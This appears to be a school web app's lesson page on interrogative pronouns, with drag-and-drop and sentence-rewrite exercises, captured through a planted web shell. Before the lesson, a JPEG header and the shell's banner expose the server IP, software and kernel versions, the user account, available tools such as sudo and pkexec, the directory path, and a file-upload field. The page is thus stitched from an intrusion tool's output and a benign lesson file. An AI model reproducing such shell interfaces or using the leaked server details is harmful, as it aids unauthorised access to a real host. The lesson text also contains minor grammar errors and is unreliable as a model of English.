????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.37 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelG/Category1/ |
Upload File : |
<!doctype html>
<html>
<head>
<title>Interrogative pronouns</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<script>
function page_preLoad()
{
s_setDeviceTypeLevelCategoryLastLesson(Level.G, Category.No1);
s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.G, Category.No1, 11), true, true);
s_setFooterTable('id_tblFooter', true, true, true, true, true);
var ids_headings = ['id_td_heading1', 'id_td_heading2'];
var ids_options = ['id_options1', 'id_td_whom1', 'id_td_whom2', 'id_td_what1', 'id_td_which2', 'id_td_which1', 'id_td_who'];
var ids_spans = ['id_span_whom1', 'id_span_whom2', 'id_span_what1', 'id_span_which2', 'id_span_who', 'id_span_which1'];
var ids_boxes = ['id_dropbox_what1', 'id_dropbox_which2', 'id_dropbox_whom1', 'id_dropbox_whom2', 'id_dropbox_which1','id_dropbox_who'];
var ids_textBoxes = new Array();
var ids_td_textBoxes = new Array();
for (var id = 1; id <= 5; id++)
{
var idTdTextBox = 'id_td_textBox' + id;
var idTextBox = 'id_textBox' + id;
var eTextBox = document.getElementById(idTextBox);
eTextBox.value = '';
if (s_currentDeviceType == s_DeviceTypeAndroidDeviceApp)
{
eTextBox.style.border = 'solid 2px black';
}
ids_textBoxes.push(idTextBox);
ids_td_textBoxes.push(idTdTextBox);
}
var ids_spans = new Array();
for (var idSpan = 1; idSpan <= 10; idSpan++)
{
ids_spans.push('id_span' + idSpan);
}
var ids_tds_texts = new Array();
for (var textId = 1; textId <= 11; textId++)
{
ids_tds_texts.push('id_td' + textId);
}
var ids_All = ids_headings.concat(ids_spans, ids_tds_texts, ids_td_textBoxes, ids_options, ids_boxes);
s_adjust_fontSize_for_ids_all_devices(ids_All, 70);
s_adjust_fontSize_for_ids_all_devices(ids_textBoxes, 60);
s_hideAllExceptFirstElement('id_span_whom', 2);
s_set_all_draggble_to_false_except_first_element('id_td_whom', 2);
s_hideAllExceptFirstElement('id_span_which', 2);
s_set_all_draggble_to_false_except_first_element('id_td_which', 2);
s_init_dropBox_tds_withOUT_drag_here(ids_boxes);
s_init_dropping_spans(ids_spans);
var id_tables_array = ['id_table1', 'id_table2'];
s_border_collapse_for_tables_except_android(id_tables_array);
}
function page_onLoad()
{
getAllGroupsCanvasIdsArray();
drawUnderline();
}
function getAllGroupsCanvasIdsArray()
{
var set1IdsArray = ['id_span1', 'id_span2'];
var set2IdsArray = ['id_span3', 'id_span4'];
var set3IdsArray = ['id_span5', 'id_span6'];
var set4IdsArray = ['id_span7', 'id_span8'];
var set5IdsArray = ['id_span9', 'id_span10'];
s_allGroupsIdsArrayInArray = [set1IdsArray, set2IdsArray, set3IdsArray, set4IdsArray, set5IdsArray];
}
function drawUnderline()
{
for (var id = 1; id <= 10; id++)
{
s_draw_underline('id_span' + id);
}
}
function span_click(id_span)
{
s_showHideUnderlineOfCorrespondingGroup(id_span, s_allGroupsIdsArrayInArray);
}
function DragDrop(id_dropBox, text, ids_array)
{
if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
s_setTextAndBackgroundColorToGreenAndIsMovedTrue(s_currentDropingId, id_dropBox);
unhide_next_elements(text);
s_set_currentDropingId_draggbleToFalse();
}
else
{
s_resetCurrentDroppingPosition(id_dropBox);
}
}
function unhide_next_elements(text)
{
if (text == 'which')
{
s_unHideNextElementNew2('id_span_which', 'id_td_which', 2);
}
else if (text == 'whom')
{
s_unHideNextElementNew2('id_span_whom', 'id_td_whom', 2);
}
}
function btnValidate_click()
{
var correctSpanIdsArray = ['id_span1', 'id_span3', 'id_span5', 'id_span7', 'id_span10'];
var nCorrectSpans = s_validate_tds(s_allGroupsIdsArrayInArray, correctSpanIdsArray);
var eTextBox1 = document.getElementById('id_textBox1');
var eTextBox2 = document.getElementById('id_textBox2');
var eTextBox3 = document.getElementById('id_textBox3');
var eTextBox4 = document.getElementById('id_textBox4');
var eTextBox5 = document.getElementById('id_textBox5');
var ids_boxes = ['id_dropbox_what1', 'id_dropbox_which2', 'id_dropbox_whom1', 'id_dropbox_whom2', 'id_dropbox_which1','id_dropbox_who'];
var isAllBoxesFilled = s_isAllInfosFilled(ids_boxes);
if ((nCorrectSpans == 5) &&
(eTextBox1.isCorrect == true) &&
(eTextBox2.isCorrect == true) &&
(eTextBox3.isCorrect == true) &&
(eTextBox4.isCorrect == true) &&
(eTextBox5.isCorrect == true) &&
isAllBoxesFilled)
{
s_show_claps_animation('s_id_div_message');
}
}
function validateSentence(id_textBox)
{
var eTextBox = document.getElementById(id_textBox);
var inputText = eTextBox.value;
var enteredTextArray = inputText.split(" ");
var trimmedText = '';
for (var textIndex = 0; textIndex < enteredTextArray.length; textIndex++)
{
if (enteredTextArray[textIndex].trim() != '')
{
trimmedText += enteredTextArray[textIndex].trim() + ' ';
}
}
trimmedText = trimmedText.trim().toUpperCase();
var correctText = getCorrectText(id_textBox);
eTextBox.isCorrect = (trimmedText == correctText) ? true : false;
}
function getCorrectText(id_textBox)
{
var correctText = '';
if (id_textBox == 'id_textBox1')
{
correctText = 'WHAT IS THE TIME NOW?';
}
else if (id_textBox == 'id_textBox2')
{
correctText = 'WHICH IS THE LARGEST COUNTRY IN THE WORLD?';
}
else if (id_textBox == 'id_textBox3')
{
correctText = 'WHO IS RIDING A BICYCLE?';
}
else if (id_textBox == 'id_textBox4')
{
correctText = 'WHAT ARE YOU EATING?';
}
else if (id_textBox == 'id_textBox5')
{
correctText = 'WHOM DID THE TEACHER SCOLD?';
}
return (correctText);
}
function btnHome_click()
{
s_btnHomeCategories_click('LevelG');
}
function btnPrevious_click()
{
window.location = 'LevelGCat1Lesson10.html';
}
function btnNext_click()
{
window.location = 'LevelGCat1Lesson12.html';
}
</script>
</head>
<body onload="page_onLoad()">
<div id="s_id_div_message"></div>
<table id="id_tblMainiPadBody" border="1px" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td>
<table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
<tr height="60%">
<td style="padding-bottom:0px">
<table id="id_table1" width="100%" height="100%" border="1" cellpadding="0" cellspacing="0">
<tr height="15%">
<td id="id_td_heading1" class="s_style_heading"><u>Interrogative pronouns</u>: 'What', 'Which', 'Who', 'Whom' and 'Whose' are interrogative pronouns.<br><br>
<u>Underline the right word</u> [<span class="s_style_heading_part_text_4">click to underline between brackets</span>] <u>and re-write each sentence</u>.
</td>
</tr>
<tr height="*">
<td style="padding-left:2%">
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td1" class="s_style_textBlack">
<span>(</span>
<span id="id_span1" onClick="span_click('id_span1')">What</span>
<span>/</span>
<span id="id_span2" onClick="span_click('id_span2')">who</span>
<span>) is the time now?</span>
</td>
</tr>
<tr>
<td id="id_td_textBox1">
<textarea id="id_textBox1" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox1')">
</textarea>
</td>
</tr>
<tr>
<td id="id_td2" class="s_style_textBlack">
<span>(</span>
<span id="id_span3" onClick="span_click('id_span3')">Which</span>
<span>/</span>
<span id="id_span4" onClick="span_click('id_span4')">Who</span>
<span>) is the largest country in the world?</span>
</td>
</tr>
<tr>
<td id="id_td_textBox2">
<textarea id="id_textBox2" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox2')">
</textarea>
</td>
</tr>
<tr>
<td id="id_td3" class="s_style_textBlack">
<span>(</span>
<span id="id_span5" onClick="span_click('id_span5')">Who</span>
<span>/</span>
<span id="id_span6" onClick="span_click('id_span6')">Whose</span>
<span>) is riding a bicycle?</span>
</td>
</tr>
<tr>
<td id="id_td_textBox3">
<textarea id="id_textBox3" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox3')">
</textarea>
</td>
</tr>
<tr>
<td id="id_td4" class="s_style_textBlack">
<span>(</span>
<span id="id_span7" onClick="span_click('id_span7')">What</span>
<span>/</span>
<span id="id_span8" onClick="span_click('id_span8')">Who</span>
<span>) are you eating?.</span>
</td>
</tr>
<tr>
<td id="id_td_textBox4">
<textarea id="id_textBox4" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox4')">
</textarea>
</td>
</tr>
<tr>
<td id="id_td5" class="s_style_textBlack">
<span>(</span>
<span id="id_span9" onClick="span_click('id_span9')">Which</span>
<span>/</span>
<span id="id_span10" onClick="span_click('id_span10')">Whom</span>
<span>) did the teacher scold?</span>
</td>
</tr>
<tr>
<td id="id_td_textBox5">
<textarea id="id_textBox5" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox5')">
</textarea>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table id="id_table2" width="100%" height="100%" border="1" cellpadding="0" cellspacing="0">
<tr height="5%">
<td id="id_td_heading2" class="s_style_heading"><u>Fill in the blanks with correct Interrogative pronouns<u>:</td>
</tr>
<tr height="15%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr height="50%">
<td id="id_options1" class="s_style_heading_options" width="*">Options:</td>
<td id="id_td_whom1" class="s_style_draggable_text" width="13%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_whom1">Whom</span>
</td>
<td id="id_td_who" class="s_style_draggable_text" width="13%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_who">Who</span>
</td>
<td id="id_td_what1" class="s_style_draggable_text" width="13%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_what1">What</span>
</td>
<td id="id_td_which1" class="s_style_draggable_text" width="13%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_which1">Which</span>
</td>
<td id="id_td_whom2" class="s_style_draggable_text" width="13%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_whom2">Whom</span>
</td>
<td id="id_td_which2" class="s_style_draggable_text" width="13%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_which2">which</span>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td style="padding-left:2%">
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr id="id_tr_dropbox_who" height="16.6%"
ondragover="s_highlight('id_dropbox_who'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropbox_who')"
ondrop="DragDrop('id_dropbox_who', 'who', ['id_span_who'])">
<td id="id_td6" class="s_style_textBlack">
<span >1. </span>
<span id="id_dropbox_who" class="s_style_droppable_dash">_______</span>
<span>is that man? <span class="s_style_textBlue_color_only">He is our principal.</span></span>
</td>
</tr>
<tr id="id_tr_dropbox_what1" height="16.6%"
ondragover="s_highlight('id_dropbox_what1'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropbox_what1')"
ondrop="DragDrop('id_dropbox_what1', 'what', ['id_span_what1'])">
<td id="id_td7" class="s_style_textBlack">
<span>2. </span>
<span id="id_dropbox_what1" class="s_style_droppable_dash">_______</span>
<span>are you reading? <span class="s_style_textBlue_color_only">I am reading a magazine.</span></span>
</td>
</tr>
<tr id="id_tr_dropbox_whom1" height="16.6%"
ondragover="s_highlight('id_dropbox_whom1'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropbox_whom1')"
ondrop="DragDrop('id_dropbox_whom1', 'whom', ['id_span_whom1', 'id_span_whom2'])">
<td id="id_td8" class="s_style_textBlack">
<span>3. </span>
<span id="id_dropbox_whom1" class="s_style_droppable_dash">_______</span>
<span>did you help? <span class="s_style_textBlue_color_only">I helped Kunal.</span></span>
</td>
</tr>
<tr id="id_tr_dropbox_which2" height="16.6%"
ondragover="s_highlight('id_dropbox_which2'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropbox_which2')"
ondrop="DragDrop('id_dropbox_which2', 'which', ['id_span_which1', 'id_span_which2'])">
<td id="id_td9" class="s_style_textBlack">
<span>4. </span>
<span id="id_dropbox_which2" class="s_style_droppable_dash">_______</span>
<span>is the shortest month of the year? <span class="s_style_textBlue_color_only">It is February.</span></span>
</td>
</tr>
<tr id="id_tr_dropbox_whom2" height="16.6%"
ondragover="s_highlight('id_dropbox_whom2'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropbox_whom2')"
ondrop="DragDrop('id_dropbox_whom2', 'whom', ['id_span_whom1', 'id_span_whom2'])">
<td id="id_td10" class="s_style_textBlack">
<span>5. </span>
<span id="id_dropbox_whom2" class="s_style_droppable_dash">_______</span>
<span>did the dog bit? <span class="s_style_textBlue_color_only">It bit the postman.</span></span>
</td>
</tr>
<tr id="id_tr_dropbox_which1" height="16.6%"
ondragover="s_highlight('id_dropbox_which1'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropbox_which1')"
ondrop="DragDrop('id_dropbox_which1', 'which', ['id_span_which1', 'id_span_which2'])">
<td id="id_td11" class="s_style_textBlack">
<span>6. </span>
<span id="id_dropbox_which1" class="s_style_droppable_dash">_______</span>
<span>is heavy, wood or iron. <span class="s_style_textBlue_color_only">Iron is heavy.</span></span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_span_who', {handle : 'id_td_who', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_which1', {handle : 'id_td_which1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_whom1', {handle : 'id_td_whom1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_whom2', {handle : 'id_td_whom2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_what1', {handle : 'id_td_what1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_which2', {handle : 'id_td_which2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
webkit_drop.add('id_tr_dropbox_which1', {onOver : function(){s_highlight('id_dropbox_which1')}, onOut : function(){s_un_highlight('id_dropbox_which1')}, onDrop : function(){DragDrop('id_dropbox_which1', 'which', ['id_span_which1', 'id_span_which2'])}});
webkit_drop.add('id_tr_dropbox_who', {onOver : function(){s_highlight('id_dropbox_who')}, onOut : function(){s_un_highlight('id_dropbox_who')}, onDrop : function(){DragDrop('id_dropbox_who', 'who', ['id_span_who'])}});
webkit_drop.add('id_tr_dropbox_what1', {onOver : function(){s_highlight('id_dropbox_what1')}, onOut : function(){s_un_highlight('id_dropbox_what1')}, onDrop : function(){DragDrop('id_dropbox_what1', 'what', ['id_span_what1', 'id_span_which2'])}});
webkit_drop.add('id_tr_dropbox_which2', {onOver : function(){s_highlight('id_dropbox_which2')}, onOut : function(){s_un_highlight('id_dropbox_which2')}, onDrop : function(){DragDrop('id_dropbox_which2', 'which', ['id_span_which1', 'id_span_which2'])}});
webkit_drop.add('id_tr_dropbox_whom1', {onOver : function(){s_highlight('id_dropbox_whom1')}, onOut : function(){s_un_highlight('id_dropbox_whom1')}, onDrop : function(){DragDrop('id_dropbox_whom1', 'whom', ['id_span_whom1', 'id_span_whom2'])}});
webkit_drop.add('id_tr_dropbox_whom2', {onOver : function(){s_highlight('id_dropbox_whom2')}, onOut : function(){s_un_highlight('id_dropbox_whom2')}, onDrop : function(){DragDrop('id_dropbox_whom2', 'whom', ['id_span_whom1', 'id_span_whom2'])}});
</script>
</body>
</html>